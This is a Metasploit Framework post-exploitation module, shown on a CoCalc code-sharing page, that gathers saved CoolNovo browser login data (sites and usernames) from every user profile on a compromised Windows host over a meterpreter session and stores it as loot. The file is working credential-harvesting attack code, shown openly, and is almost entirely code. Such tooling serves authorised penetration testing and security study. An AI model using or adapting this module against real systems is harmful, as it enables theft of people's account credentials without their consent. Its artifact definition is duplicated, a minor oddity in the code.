CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/coolnovo.rb
Views: 11704
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
# this associative array defines the artifacts known to PackRat
10
include Msf::Post::File
11
include Msf::Post::Windows::UserProfiles
12
include Msf::Post::Windows::Packrat
13
ARTIFACTS =
14
{
15
application: 'coolnovo',
16
app_category: 'browsers',
17
gatherable_artifacts: [
18
{
19
filetypes: 'logins',
20
path: 'LocalAppData',
21
dir: 'MapleStudio',
22
artifact_file_name: 'Login Data',
23
description: 'CoolNovo saved Username and Passwords',
24
credential_type: 'sqlite',
25
sql_search: [
26
{
27
sql_description: "Database Commands which exports Coolnovo's Login data",
28
sql_table: 'logins',
29
sql_column: 'action_url, username_value'
30
}
31
]
32
},
33
{
34
filetypes: 'logins',
35
path: 'LocalAppData',
36
dir: 'MapleStudio',
37
artifact_file_name: 'Login Data',
38
description: 'CoolNovo saved Username and Passwords',
39
credential_type: 'sqlite',
40
sql_search: [
41
{
42
sql_description: "Database Commands which exports Coolnovo's Login data",
43
sql_table: 'logins',
44
sql_column: 'action_url, username_value'
45
}
46
]
47
}
48
49
]
50
}.freeze
51
def initialize(info = {})
52
super(
53
update_info(
54
info,
55
'Name' => 'Coolnovo credential gatherer',
56
'Description' => %q{
57
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
58
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
59
Further details can be found in the module documentation.
60
This is a module that searches for Coolnovo credentials on a windows remote host.
61
},
62
'License' => MSF_LICENSE,
63
'Author' => [
64
'Kazuyoshi Maruta',
65
'Daniel Hallsworth',
66
'Barwar Salim M',
67
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
68
],
69
'Platform' => ['win'],
70
'SessionTypes' => ['meterpreter'],
71
'Notes' => {
72
'Stability' => [CRASH_SAFE],
73
'Reliability' => [],
74
'SideEffects' => []
75
}
76
)
77
)
78
79
register_options(
80
[
81
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
82
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
83
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
84
# enumerates the options based on the artifacts that are defined below
85
OptEnum.new('ARTIFACTS', [
86
false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
87
k[:filetypes]
88
end.uniq.unshift('All')
89
])
90
]
91
)
92
end
93
94
def run
95
print_status('Filtering based on these selections: ')
96
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
97
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
98
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
99
100
# used to grab files for each user on the remote host
101
grab_user_profiles.each do |userprofile|
102
run_packrat(userprofile, ARTIFACTS)
103
end
104
105
print_status 'PackRat credential sweep Completed'
106
end
107
end
108
109